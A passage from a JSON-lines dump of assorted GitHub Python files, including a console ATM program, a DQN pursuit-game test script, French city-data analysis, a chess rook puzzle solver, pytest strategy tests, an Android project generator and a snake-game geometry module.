= int(input(\"¿Cuánto desea retirar? : \"))\n# print(\"Su monto actual es\", self.monto)\n# if self.monto >= girar:\n# print(\n# f\"Usted a retirado: {retirar} , su nuevo monto es {self.monto - retirar}\")\n# self.monto -= retirar\n# else:\n# print(\"Imposible realizar el retiro, su monto es menor\")\n\n# def ver(self):\n# print(\"Su saldo es: \", self.monto)\n\n\n# app = Cajero()\n\n\n# Realiza un programa en python de cajero automático, con un saldo inicial de $1000, en el se podrá retirar,\n# depositar. Debe de estar en un bucle.\n\n\n# Importar libreria para los colores\nimport os\nfrom colorama import Fore, init\ninit()\n\n# COLORES\nazul = Fore.LIGHTBLUE_EX\nverde = Fore.LIGHTGREEN_EX\nrojo = Fore.LIGHTRED_EX\ncyan = Fore.LIGHTCYAN_EX\n\n\n\n # limpiar pantalla\n\ndef clearConsole(): return os.system('cls' if os.name in (\n 'nt', 'dos') else 'clear') \n\n\n# banner\n\ndef __banner__():\n print(rojo+\"\"\"\n \n ______ ___ __ _______ .______ ______ \n / | / \\ | | | ____|| _ \\ / __ \\ \n | ,----' / ^ \\ | | | |__ | |_) | | | | | \n | | / /_\\ \\ .--. | | | __| | / | | | | \n | `----./ _____ \\ | `--' | | |____ | |\\ \\----.| `--' | \n \\______/__/ \\__\\ \\______/ |_______|| _| `._____| \\______/ \n \n \n \"\"\")\n\n\nclearConsole()\nsaldo = 1000\n\nwhile True:\n\n __banner__()\n\n print(\"ESCOGE ALGUNA OPCIÓN\")\n print(cyan+\"\\n1 - Retirar dinero\")\n print(cyan+\"\\n2 - Depositar dinero\")\n print(cyan+\"\\n3 - Salir del cajero\")\n\n opc = int(input(verde+\"\\n->> \"))\n\n if opc == 1: # Retirar\n clearConsole()\n retirar = float(input(\"Cuanto vas a retirar?: \"))\n\n if retirar > saldo:\n clearConsole()\n print(azul+\"Error, no tienes esa cantidad disponible\")\n\n else:\n clearConsole()\n saldo = saldo - retirar\n print(cyan+\"Listo, tu nuevo saldo es de: \", saldo)\n\n elif opc == 2: # Adiccionar\n clearConsole()\n agregar = float(input(\"Cuanto vas a depositar?: \"))\n\n saldo = agregar + saldo\n clearConsole()\n\n print(cyan+\"Se agrego exitosamente, tu nuevo saldo es de: \", saldo)\n\n elif opc == 3: # salir\n clearConsole()\n print(Fore.MAGENTA+\"Hasta luego\")\n break\n\n else:\n clearConsole()\n print(Fore.MAGENTA+\"La opcion no existe, intentalo de nuevo\")\n","repo_name":"SebastianSolisFenger/Python_Pil","sub_path":"buclesAnd--ATM.py","file_name":"buclesAnd--ATM.py","file_ext":"py","file_size_in_byte":5616,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18125907769","text":"#! /usr/bin/env python\n\nimport argparse\nimport os\nimport sys\nimport jax\nimport numpy as np\nimport flax.linen as nn\n\nfrom dl_algos.multi_model_madqn import MultiAgentDQN\nfrom dl_envs.pursuit.pursuit_env import PursuitEnv, Action\nfrom pathlib import Path\nfrom gymnasium.spaces.multi_discrete import MultiDiscrete\nfrom typing import List\n\n\nRNG_SEED = 4072023\nTEST_RNG_SEED = 12072023\nACTION_DIM = 5\nMAX_EPOCH = 500\n\n\ndef get_history_entry(obs: np.ndarray, actions: List[int], hunter_ids: List[str]) -> List:\n\tentry = []\n\tfor hunter in hunter_ids:\n\t\ta_idx = hunter_ids.index(hunter)\n\t\tstate_str = ' '.join([str(x) for x in obs[a_idx]])\n\t\taction = actions[a_idx]\n\t\tentry += [state_str, str(action)]\n\t\n\treturn entry\n\n\ndef main():\n\tparser = argparse.ArgumentParser(description='Test DQN model for Astro waste disposal game.')\n\t\n\t# Multi-agent DQN params\n\tparser.add_argument('--nlayers', dest='n_layers', type=int, required=True, help='Number of layers for the neural net in the DQN')\n\tparser.add_argument('--buffer', dest='buffer_size', type=int, required=True, help='Size of the replay buffer in the DQN')\n\tparser.add_argument('--gamma', dest='gamma', type=float, required=False, default=0.99, help='Discount factor for agent\\'s future rewards')\n\tparser.add_argument('--gpu', dest='use_gpu', action='store_true', help='Flag that signals the use of gpu for the training')\n\tparser.add_argument('--ddqn', dest='use_ddqn', action='store_true', help='Flag that signals the use of a Double DQN')\n\tparser.add_argument('--dueling', dest='dueling_dqn', action='store_true', help='Flag that signals the use of a Dueling DQN architecture')\n\tparser.add_argument('--tensorboard', dest='use_tensorboard', action='store_true',\n\t\t\t\t\t\thelp='Flag the signals the use of a tensorboard summary writer. Expects argument --tensorboardDetails to be present')\n\tparser.add_argument('--tensorboardDetails', dest='tensorboard_details', nargs='+', required=False, default=None,\n\t\t\t\t\t\thelp='List with the details for the tensorboard summary writer: , , , '\n\t\t\t\t\t\t\t ' Use only in combination with --tensorboard option')\n\tparser.add_argument('--layer-sizes', dest='layer_sizes', type=int, required=True, nargs='+', help='Size of each layer of the DQN\\'s neural net')\n\tparser.add_argument('--tensorboard-freq', dest='tensorboard_freq', type=int, required=False, default=1,\n\t\t\t\t\t\thelp='Number of epochs between each log in tensorboard. Use only in combination with --tensorboard option')\n\t\n\t# Environment parameters\n\tparser.add_argument('--hunters', dest='hunters', type=str, nargs='+', required=True, help='IDs of hunters in the environment')\n\tparser.add_argument('--field-size', dest='field_lengths', type=int, nargs='+', required=True, help='Length and width of the field')\n\tparser.add_argument('--preys', dest='preys', type=str, nargs='+', required=True, help='IDs of preys in the environment')\n\tparser.add_argument('--n-catch', dest='n_catch', type=int, required=True, help='Number of hunters that have to surround the prey to catch it')\n\tparser.add_argument('--steps-episode', dest='max_steps', type=int, required=True, help='Maximum number of steps an episode can to take')\n\t\n\targs = parser.parse_args()\n\tn_layers = args.n_layers\n\tbuffer_size = args.buffer_size\n\tgamma = args.gamma\n\tuse_gpu = args.use_gpu\n\tdueling_dqn = args.dueling_dqn\n\tuse_ddqn = args.use_ddqn\n\tuse_tensorboard = args.use_tensorboard\n\ttensorboard_details = args.tensorboard_details\n\tlayer_sizes = args.layer_sizes\n\ttensorboard_freq = args.tensorboard_freq\n\thunters = args.hunters\n\tfield_lengths = args.field_lengths\n\tpreys = args.preys\n\tn_catch = args.n_catch\n\tmax_steps = args.max_steps\n\t\n\tos.environ[\"XLA_PYTHON_CLIENT_PREALLOCATE\"] = \"false\"\n\t\n\tfield_dims = len(field_lengths)\n\tif 2 >= field_dims > 0:\n\t\tif field_dims == 1:\n\t\t\tfield_size = (field_lengths[0], field_lengths[0])\n\t\t\tsight = field_lengths[0]\n\t\telse:\n\t\t\tfield_size = (field_lengths[0], field_lengths[1])\n\t\t\tsight = max(field_lengths[0], field_lengths[1])\n\telse:\n\t\tprint('[ARGS ERROR] Field size must either be composed of only 1 or 2 arguments; %d were given. Exiting program' % field_dims)\n\t\treturn\n\t\n\tn_hunters = len(hunters)\n\tn_preys = len(preys)\n\tlog_dir = Path(__file__).parent.absolute().parent.absolute() / 'logs'\n\tmodels_dir = Path(__file__).parent.absolute().parent.absolute() / 'models'\n\tlog_filename = ('test_pursuit_dqn_%dx%d-field_%d-hunters_%d-catch' % (field_size[0], field_size[1], n_hunters, n_catch)) + '_best'\n\tmodel_path = (models_dir / 'pursuit_dqn' / ('%dx%d-field' % (field_size[0], field_size[1])) / ('%d-hunters' % n_hunters)) / 'best'\n\t\n\tsys.stdout = open(log_dir / (log_filename + '_log.txt'), 'a')\n\tsys.stderr = open(log_dir / (log_filename + '_err.txt'), 'w')\n\t\n\tprint('#############################')\n\tprint('Starting LB Foraging DQN Test')\n\tprint('#############################')\n\tprint('Environment setup')\n\tenv = PursuitEnv(hunters, preys, field_size, n_hunters, n_catch, max_steps)\n\tenv.seed(RNG_SEED)\n\trng_gen = np.random.default_rng(RNG_SEED)\n\t\n\tprint('Setup multi-agent DQN')\n\tobs_dims = [field_size[0], field_size[1], 2, 2, n_hunters + 1] * (n_hunters + n_preys)\n\tagents_dqns = MultiAgentDQN(n_hunters, hunters, len(Action), n_layers, nn.relu, layer_sizes, buffer_size, gamma, MultiDiscrete(obs_dims),\n\t\t\t\t\t\t\t\tuse_gpu, dueling_dqn, use_ddqn, False, use_tensorboard, tensorboard_details)\n\t\n\tagents_dqns.load_models(('%d-catch' % n_catch), model_path)\n\t\n\tprint('Testing trained model')\n\tenv.seed(TEST_RNG_SEED)\n\trng_gen = np.random.default_rng(TEST_RNG_SEED)\n\tnp.random.seed(TEST_RNG_SEED)\n\tinit_pos_hunter = {'hunter_1': (0, 5), 'hunter_2': (7, 0)}\n\t# for hunter in hunters:\n\t# \thunter_idx = hunters.index(hunter)\n\t# \tinit_pos_hunter[hunter] = (hunter_idx // n_hunters, hunter_idx % n_hunters)\n\tinit_pos_prey = {'prey_1': (0, 9)}\n\t# for prey in preys:\n\t# \tprey_idx = preys.index(prey)\n\t# \tinit_pos_prey[prey] = (max(field_size[0] - (prey_idx // n_preys) - 1, 0), max(field_size[1] - (prey_idx % n_preys) - 1, 0))\n\tenv.spawn_hunters(init_pos_hunter)\n\tenv.spawn_preys(init_pos_prey)\n\tobs, *_ = env.reset()\n\tepoch = 0\n\thistory = []\n\tgame_over = False\n\tprint(env.field)\n\twhile not game_over:\n\t\t\n\t\tactions = []\n\t\tfor a_id in agents_dqns.agent_ids:\n\t\t\tagent_dqn = agents_dqns.agent_dqns[a_id]\n\t\t\ta_idx = agents_dqns.agent_ids.index(a_id)\n\t\t\tq_values = agent_dqn.q_network.apply(agent_dqn.online_state.params, obs[a_idx])\n\t\t\taction = q_values.argmax(axis=-1)\n\t\t\taction = jax.device_get(action)\n\t\t\tactions += [action]\n\t\tactions = np.array(actions)\n\t\tprint(' '.join([str(Action(action)) for action in actions]))\n\t\tnext_obs, rewards, finished, timeout, infos = env.step(actions)\n\t\thistory += [get_history_entry(obs, actions, hunters)]\n\t\tobs = next_obs\n\t\tprint(env.field)\n\t\t\n\t\tif finished or epoch >= max_steps:\n\t\t\tgame_over = True\n\t\t\n\t\tsys.stdout.flush()\n\t\tepoch += 1\n\t\n\tprint('Epochs needed to finish: %d' % epoch)\n\tprint('Test history:')\n\tprint(history)\n\t\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"miguel-faria/deep_rl","sub_path":"tests/test_pursuit_dqn_model.py","file_name":"test_pursuit_dqn_model.py","file_ext":"py","file_size_in_byte":6991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25899563917","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\npoint_median = []\n\n# Calcule la distance entre deux points gps\ndef distance(x, y):\n c = [0, 0]\n c[0] = x - point_median[0]\n c[1] = y - point_median[1]\n return np.sqrt(c[0]**2 + c[1]**2)\n\n############################################################################################\n# Trouver la ville la plus au nord\ndef plus_nord(nom, latitude):\n maxi = 0\n ville_nord = []\n for i,j in enumerate(nom):\n if np.abs(np.pi/2 - latitude[i]) < np.abs(np.pi/2 - maxi):\n maxi = latitude[i]\n ville_nord = j\n\n print(ville_nord)\n \n############################################################################################\n# Latitude mediane\ndef lat_med(latitude):\n temp = latitude[:]\n temp.sort()\n point_median.append(temp[len(temp)//2])\n temp = longitude[:]\n temp.sort()\n point_median.append(temp[len(temp)//2])\n print(point_median[0])\n print(point_median[1])\n\n############################################################################################\n# Commune la plus proche du point mediant\ndef plus_proche_point_med(nom, longitude, latitude):\n plus_proche = [0, 0]\n commune = ''\n for i,j in enumerate(nom):\n point = [latitude[i], longitude[i]]\n if distance(point[0], point[1]) < distance(plus_proche[0], plus_proche[1]):\n plus_proche[:] = point[:]\n commune = j\n\n print(commune)\n\n############################################################################################\n# Histogramme de la population des communes (population comprise entre 1000 et 2000)\ndef histo(pop):\n plt.hist(pop, bins=np.arange(950, 20050, 100), edgecolor='black')\n plt.show()\n\n############################################################################################\n# affichage des villes de plus de 100 000 hab\nlatitude_tmp1 = []\nlongitude_tmp1 = []\nlatitude_tmp2 = []\nlongitude_tmp2 = []\ndef plus_cent_mille(latitude, longitude, pop, nom):\n for i,j in enumerate(pop):\n if j > 100000:\n latitude_tmp1.append(latitude[i])\n longitude_tmp1.append(longitude[i])\n print(nom[i])\n else:\n latitude_tmp2.append(latitude[i])\n longitude_tmp2.append(longitude[i]) \n\n plt.plot(longitude_tmp2, latitude_tmp2, linestyle='none', marker='o', c='b')\n plt.plot(longitude_tmp1, latitude_tmp1, linestyle='none', marker='o', c='r')\n plt.show()\n\n############################################################################################\n# main:\nnom = []\nlongitude = []\nlatitude = []\npop = []\nwith open(\"./villes.csv\", encoding=\"utf-8\") as f:\n for i,line in enumerate(f):\n if i != 0:\n list = line.split(';')\n nom.append(list[1])\n longitude.append(float(list[4]))\n latitude.append(float(list[5]))\n pop.append(int(list[6]))\n lat_med(latitude)\n plus_nord(nom, latitude)\n plus_proche_point_med(nom, latitude, longitude)\n histo(pop)\n plus_cent_mille(latitude, longitude, pop, nom)\n\n\n############################################################################################\n# Agglomeration\ndef agglomeration(nom):\n with open(\"./villes.csv\", encoding=\"utf-8\") as f:\n for j, line in enumerate(f):\n if j != 0:\n list = line.split(';')\n if list[1] == nom:\n coord = [float(list[5]), float(list[4])]\n for i, l in enumerate(f):\n if i != 0:\n lst = l.split(';')\n y = (coord[0]) - (float(lst[5]))\n x = (coord[1]) - (float(lst[4]))\n if np.sqrt(x**2 + y**2) <= 20 * 1.56961 * 10**(-4):\n print(lst[1])\n\nprint('Agglomeration:\\n')\nagglomeration('Clermont-Ferrand')\n","repo_name":"dummer3/LogicielScientifique","sub_path":"tp6/tp6exo2.py","file_name":"tp6exo2.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6814301927","text":"def index_of(haystack, needle):\n for i in range(len(haystack)):\n if (needle == haystack[i]):\n return i\n\n return -1\n\n\ndef chess(board):\n move = 0\n\n tower = index_of(board, \"v\")\n target = index_of(board, \"c\")\n\n board[tower] = \".\"\n\n reachable = {tower}\n\n while (move < 32):\n reachable_this_move = set()\n\n for state in reachable:\n col = state % 8\n row = state // 8\n\n if (state == target):\n return move\n\n # Up\n for x in range(1, row + 1):\n pos = state - x * 8\n\n if (board[pos] == \"x\"):\n break\n\n reachable_this_move.add(pos)\n\n # Down\n for x in range(1, 8 - row):\n pos = state + x * 8\n\n if (board[pos] == \"x\"):\n break\n\n reachable_this_move.add(pos)\n\n # Left\n for x in range(1, col + 1):\n pos = state - x\n\n if (board[pos] == \"x\"):\n break\n\n reachable_this_move.add(pos)\n\n # Right\n for x in range(1, 8 - col):\n pos = state + x\n\n if (board[pos] == \"x\"):\n break\n\n reachable_this_move.add(pos)\n\n for state in reachable_this_move:\n reachable.add(state)\n\n move += 1\n\n return -1\n\n\nposition = \"\"\nfor _ in range(8):\n position += input()\n\nposition = list(position)\n\n# position = [\n# \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\",\n# \".\", \".\", \".\", \"x\", \"x\", \".\", \".\", \".\",\n# \".\", \".\", \"v\", \"x\", \".\", \"x\", \".\", \".\",\n# \".\", \".\", \".\", \"x\", \"c\", \"x\", \".\", \".\",\n# \".\", \".\", \".\", \"x\", \".\", \".\", \"x\", \"x\",\n# \".\", \".\", \".\", \"x\", \"x\", \"x\", \"x\", \".\",\n# \".\", \".\", \"x\", \".\", \".\", \".\", \".\", \".\",\n# \".\", \".\", \".\", \".\", \"x\", \".\", \"x\", \".\"\n# ]\n\n# print(position)\n\nmoves = chess(position)\nprint(moves)\n\n\n# ........\n# ...xx...\n# ..vx....\n# ...xc...\n# ...x....\n# ...xx...\n# ........\n# ....x.x.\n","repo_name":"mw-mff-uk/NPRG030","sub_path":"recodex/p13.py","file_name":"p13.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10921512103","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 8 22:03:33 2022\n\n@author: PaulJ\n\"\"\"\n\nfrom os.path import join, abspath\nfrom os import listdir\nfrom inspect import getsourcefile\nimport datetime as dt\nimport logging\nimport pytest\n\nfrom cashflowsim.strategy import Strategy, get_strategy_defs\n\nAPP_DIR: str = \"cashflowsim\"\nGAME_DATA_DIR: str = \"game_data\"\nSTRATEGIES_DIR = \"simulation_strategies\"\nTESTS_DIR = \"tests\"\nLOG_DIR: str = \"game_logs\"\n\nBAD_JSON_FILE_NO_DATA_FN: str = \"dummy_file_for_test.json\"\n\nbase_path: str = \"\\\\\".join(abspath(str(getsourcefile(lambda: 0))).split(\"\\\\\")[:-2])\ngame_data_path: str = join(base_path, APP_DIR, GAME_DATA_DIR)\n\nthis_fn: str = __file__.split(\"\\\\\")[-1].split(\".\")[0]\nlogfile_fn: str = \"\".join([this_fn, \"_log.txt\"])\n\nlogfile_path_fn: str = join(base_path, APP_DIR, LOG_DIR, logfile_fn)\nbad_json_file_no_data_path_fn: str = join(\n base_path, TESTS_DIR, BAD_JSON_FILE_NO_DATA_FN\n)\n\nlogging.basicConfig(\n filename=logfile_path_fn,\n # level=logging.DEBUG,\n level=logging.ERROR,\n filemode=\"w\",\n format=\"%(asctime)s - (%(levelname)s) %(message)s\",\n datefmt=\"%d-%b-%Y %H:%M:%S\",\n force=True,\n)\nlogging.info(\n f\"\\n\\n\\nStart of new test run: {dt.datetime.now().strftime('%Y%m%d-%H%M%S')}\"\n)\n\n\n@pytest.fixture\ndef strategies() -> dict[str, Strategy]:\n base_path: str = \"\\\\\".join(abspath(str(getsourcefile(lambda: 0))).split(\"\\\\\")[:-2])\n strategies_path: str = join(base_path, APP_DIR, STRATEGIES_DIR)\n strategies_fn_list: list[str] = [\n f for f in listdir(strategies_path) if f.endswith(\".json\")\n ]\n all_strategies: dict[str, Strategy] = {}\n for a_strategy_fn in strategies_fn_list:\n strategy_defs_fn: str = join(base_path, APP_DIR, STRATEGIES_DIR, a_strategy_fn)\n some_strategies: dict[str, Strategy] = get_strategy_defs(\n strategy_defs_fn=strategy_defs_fn\n )\n all_strategies.update(some_strategies)\n return all_strategies\n\n\ndef test_strategy_name(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert (\n isinstance(strategies[a_strategy].name, str)\n and len(strategies[a_strategy].name) > 0\n )\n\n\ndef test_strategy_manual(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].manual, bool)\n\n\ndef test_roi_threshold(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].roi_threshold, float)\n assert strategies[a_strategy].roi_threshold >= 0.0\n assert strategies[a_strategy].roi_threshold <= 1.0\n\n\ndef test_price_ratio_threshold(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].price_ratio_threshold, float)\n assert strategies[a_strategy].price_ratio_threshold >= -1.0\n assert strategies[a_strategy].price_ratio_threshold <= 1.0\n\n\ndef test_take_downpayment_loans(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].take_downpayment_loans, bool)\n\n\ndef test_take_any_loans(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].take_any_loans, bool)\n\n\ndef test_charitable(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].charitable, bool)\n\n\ndef test_loan_payback(strategies: dict[str, Strategy]) -> None:\n for a_strategy in strategies:\n assert isinstance(strategies[a_strategy].loan_payback, str)\n assert strategies[a_strategy].loan_payback in [\n \"Smallest\",\n \"Largest\",\n \"Never\",\n \"Highest Interest\",\n ]\n\n\ndef test_load_strategies_bad_filename() -> None:\n bad_strategy_cards_path_fn = join(game_data_path, \"on_the_moon.json\")\n try:\n get_strategy_defs(strategy_defs_fn=bad_strategy_cards_path_fn)\n except OSError as e:\n logging.info(\n f\"Strategy filename: {bad_strategy_cards_path_fn} correctly not found \"\n f\"with message: {e}\"\n )\n return\n err_msg = (\n f\"Bad Strategy filename: {bad_strategy_cards_path_fn} not reported as unfound\"\n )\n logging.error(err_msg)\n raise OSError(err_msg)\n\n\ndef test_load_strategies_bad_json_data() -> None:\n try:\n get_strategy_defs(strategy_defs_fn=bad_json_file_no_data_path_fn)\n except ValueError as e:\n logging.info(\n f\"Strategies filename: {bad_json_file_no_data_path_fn} correctly identified as bad json data\"\n f\"with message: {e}\"\n )\n return\n err_msg = f\"Bad strategies filename: {bad_json_file_no_data_path_fn} not reported as having bad json data\"\n logging.error(err_msg)\n raise ValueError(err_msg)\n","repo_name":"pjjefferies/FlowTheCash-Simulation","sub_path":"tests/test_strategies.py","file_name":"test_strategies.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"4873754668","text":"# print (0/0)\n# print (resultado)\nprint (\"hola\")\n\n# assert para verificar si el codigo o nuestras funciones estan correctas\nsuma = lambda x, y : x+y\nassert suma (5,5) == 10\nprint (suma(5,5))\n\nprint (\" hola 2 \")\n\n# crear una excepcion de no se permiten menores de edad\nedad = 17\nif edad < 18:\n raise Exception(\" No se perimiten menores de edad \")","repo_name":"camiloo2525/Python","sub_path":"errores.py","file_name":"errores.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29900866380","text":"def series_sum(n):\n if not n:\n return 0.00\n denominator = 1.0\n sum = 0.0\n for i in range(n):\n sum += 1/denominator\n denominator += 3\n return '{:.2f}'.format(sum)\n\n\nprint(series_sum(5))","repo_name":"carrickdb/CodingPractice","sub_path":"series_sum.py","file_name":"series_sum.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13177373004","text":"# encoding=utf-8\n\n__author__ = 'zhangpengyu'\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\nimport os\nfrom project.app_package import AppPackage\nfrom project.app_class import AppClass\nfrom project.app_res import AppRes\nfrom project.app_libs import AppLibs\nfrom project.gradle import Gradle\nfrom project.local import PROJECT_PATH\n\nfrom project.manifest import AndroidManifest, Activity\n\nclass AppModule:\n\n # path是文件地址,pkg_name是文件包名\n def __init__(self, path, pkg_name):\n self.pkg_name = pkg_name\n self.path = path\n paths = pkg_name.split(\".\")\n self.pkg_path = \"\"\n for path in paths:\n self.pkg_path += path + os.sep\n self.module_xml = [\"spanndata.xml\"]\n src_path = self.path + \"app/src/main/java/\" + self.pkg_path\n res_path = self.path + \"app/src/main/res/\"\n lib_path = self.path + \"app/libs/\"\n mainfest_path = self.path+\"app/src/main/\"\n self.app_package = AppPackage(src_path)\n self.app_class = AppClass(src_path)\n self.app_res = AppRes(res_path)\n self.app_lib = AppLibs(lib_path)\n self.app_gradle = Gradle(self.path)\n self.app_manifest = AndroidManifest(mainfest_path,self.pkg_name)\n self.readme = \"\"\n\n def parse(self):\n for xml in self.module_xml:\n tree = ET.ElementTree(file=PROJECT_PATH+\"xml/\" + xml)\n root = tree.getroot()\n for child_root in root:\n if child_root.tag == \"src\":\n self.parse_src(child_root)\n elif child_root.tag == \"res\":\n self.parse_res(child_root)\n elif child_root.tag == \"libs\":\n self.parse_lib(child_root)\n elif child_root.tag == \"manifest\":\n self.parse_manifest(child_root)\n elif child_root.tag == \"gradle\":\n self.parse_gradle(child_root)\n\n def parse_src(self, src):\n for child_src in src:\n if child_src.tag == \"package\":\n for package in child_src:\n self.app_package.add_items(package.text)\n elif child_src.tag == \"class\":\n self.app_class.name = child_src.attrib['package']\n for child_class in child_src:\n self.app_class.add_items(child_class.text)\n\n def parse_res(self, res):\n for child_res in res:\n self.app_res.add_items(child_res.text)\n\n def parse_lib(self, libs):\n for lib in libs:\n self.app_lib.add_items(lib.text)\n\n def parse_manifest(self, manifest):\n for child_mainfest in manifest:\n if child_mainfest.tag == \"permission\":\n for permission in child_mainfest:\n self.app_manifest.add_permisson(permission.text)\n elif child_mainfest.tag == \"activity\":\n for app_activity in child_mainfest:\n activity = Activity(app_activity.attrib['name'])\n activity.set_label(app_activity.attrib['label'])\n activity.set_launchmode(app_activity.attrib['launch_mode'])\n activity.set_intent_filter(app_activity.attrib['intent_filter'])\n self.app_manifest.add_activity(activity)\n else:\n for app_elems in child_mainfest:\n self.app_manifest.add_app_elems(app_elems.text)\n\n def parse_gradle(self, gradle):\n for child_gradle in gradle:\n if child_gradle.tag == \"dependency\":\n for dependency in child_gradle:\n self.app_gradle.add_dependency(dependency.text)\n\n def create(self):\n self.parse()\n self.app_package.create()\n self.app_class.create()\n self.app_lib.create()\n self.app_res.create()\n self.app_class.create()\n self.app_gradle.create()\n self.app_manifest.create()","repo_name":"wenhatai/EasyApp","sub_path":"shark/service/module/app_module.py","file_name":"app_module.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"70287358952","text":"#\n# @lc app=leetcode id=1217 lang=python3\n#\n# [1217] Minimum Cost to Move Chips to The Same Position\n#\n\n# @lc code=start\nfrom typing import List\n\n\nclass Solution:\n def minCostToMoveChips(self, position: List[int]) -> int:\n count = [0] * 2\n\n for p in position:\n count[p % 2] += 1\n\n return min(count[0], count[1])\n# @lc code=end\n\n","repo_name":"MegaBlackLabel/leetcode","sub_path":"1217.minimum-cost-to-move-chips-to-the-same-position.py","file_name":"1217.minimum-cost-to-move-chips-to-the-same-position.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32063045334","text":"#!/usr/bin/env/python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\n This file is part of pySnake.\r\n\r\n PySnake is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n pySnake is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with pySnake. If not, see .\r\n\"\"\"\r\n\r\nimport math\r\n\r\nclass point:\r\n def __init__(self,x,y):\r\n self.x=x\r\n self.y=y\r\n self.exact=2\r\n def move(self,x=None,y=None,mode=0):\r\n if mode==0:\r\n if x!=None:\r\n self.x=x\r\n if y!=None:\r\n self.y=y\r\n elif mode==1:\r\n if x!=None:\r\n self.x+=x\r\n if y!=None:\r\n self.y+=y\r\n def xy(self):\r\n return (self.x,self.y)\r\n def x(self):\r\n return self.x\r\n def y(self):\r\n return self.y\r\n def endpoint(self,length,angle,exact=10):\r\n return point(round(self.x+math.cos(math.radians(angle))*length,exact),round(self.y+math.sin(math.radians(angle))*length,exact))\r\nclass curve:\r\n def __init__(self):\r\n self.curvedat=[]\r\n self.dirty=0\r\n self.pnull=point(0,0)\r\n def add_line(self,length,angle):\r\n self.regen()\r\n p1=self.curvedat[self.get_lastid()][3]\r\n p3=p1.endpoint(length,angle)\r\n self.curvedat.append([p1,length,angle,p3])\r\n def add_point(self,x,y,xs=0,ys=0):\r\n self.regen()\r\n last=self.get_lastid()\r\n if last > -1:\r\n p1=self.curvedat[last][3]\r\n else:\r\n p1=point(xs,ys)\r\n p2=point(x,y)\r\n length,angle=line(p1,p2)\r\n self.curvedat.append([p1,length,angle,p2])\r\n def len_line(self,id,deflen,mode=0):\r\n if mode==0:\r\n self.curvedat[id][1]=deflen\r\n elif mode==1:\r\n self.curvedat[id][1]+=deflen\r\n self.dirt(id)\r\n def get_angle(self,id):\r\n return self.curvedat[id][3]\r\n def dirt(self,id):\r\n if id < self.dirty:\r\n self.dirty=id\r\n def undirt(self,id):\r\n if id > self.dirty:\r\n self.dirty=id\r\n def dirtid(self):\r\n return self.dirty\r\n def get_point(self,id=0,pos=1):\r\n self.regen()\r\n if pos==1:\r\n return (self.curvedat[id][3].xy())\r\n elif pos==0:\r\n return (self.curvedat[id][0].xy())\r\n elif pos==3:\r\n return (self.curvedat[id][0].xy(),self.curvedat[id][3].xy())\r\n def get_startpoint(self):\r\n return self.curvedat[0][0].xy()\r\n def get_endpoint(self):\r\n return self.curvedat[self.get_lastid()][3].xy()\r\n def get_angle(self,id=0):\r\n return self.curvedat[id][2]\r\n def get_len(self,id=0):\r\n return self.curvedat[id][1]\r\n def get_len_curve(self):\r\n length=0\r\n for i in self.curvedat:\r\n length+=i[1]\r\n return length\r\n def get_lastid(self):\r\n return len(self.curvedat)-1\r\n def crop_curve(self,curvelen=0,anchor=0):\r\n i=0\r\n if anchor==0:\r\n i=self.get_lastid()\r\n self.regen()\r\n while curvelen>0 and i <= len(self.curvedat)-1:\r\n linelen=self.get_len(i)\r\n if curvelen>=linelen:\r\n curvelen-=linelen\r\n del self.curvedat[i]\r\n continue\r\n else:\r\n self.len_line(i,linelen-curvelen,0)\r\n break\r\n if anchor==0:\r\n i-=1\r\n else:\r\n i+=1\r\n self.dirt(0)\r\n self.regen(0,anchor)\r\n def resize(self,length,anchor=0):\r\n cropsize=self.get_len_curve()-length\r\n if cropsize<0:\r\n if anchor==0:\r\n self.curvedat[self.get_lastid()][1]-=cropsize\r\n return 1\r\n else:\r\n self.curvedat[0][1]-=cropsize\r\n self.crop_curve(cropsize,anchor)\r\n return 1\r\n def defrag(self):\r\n if len(self.curvedat)>2:\r\n i=0\r\n while True:\r\n self.regen()\r\n try: \r\n if round(self.get_len(i),2)==0:\r\n del self.curvedat[i]\r\n continue\r\n if 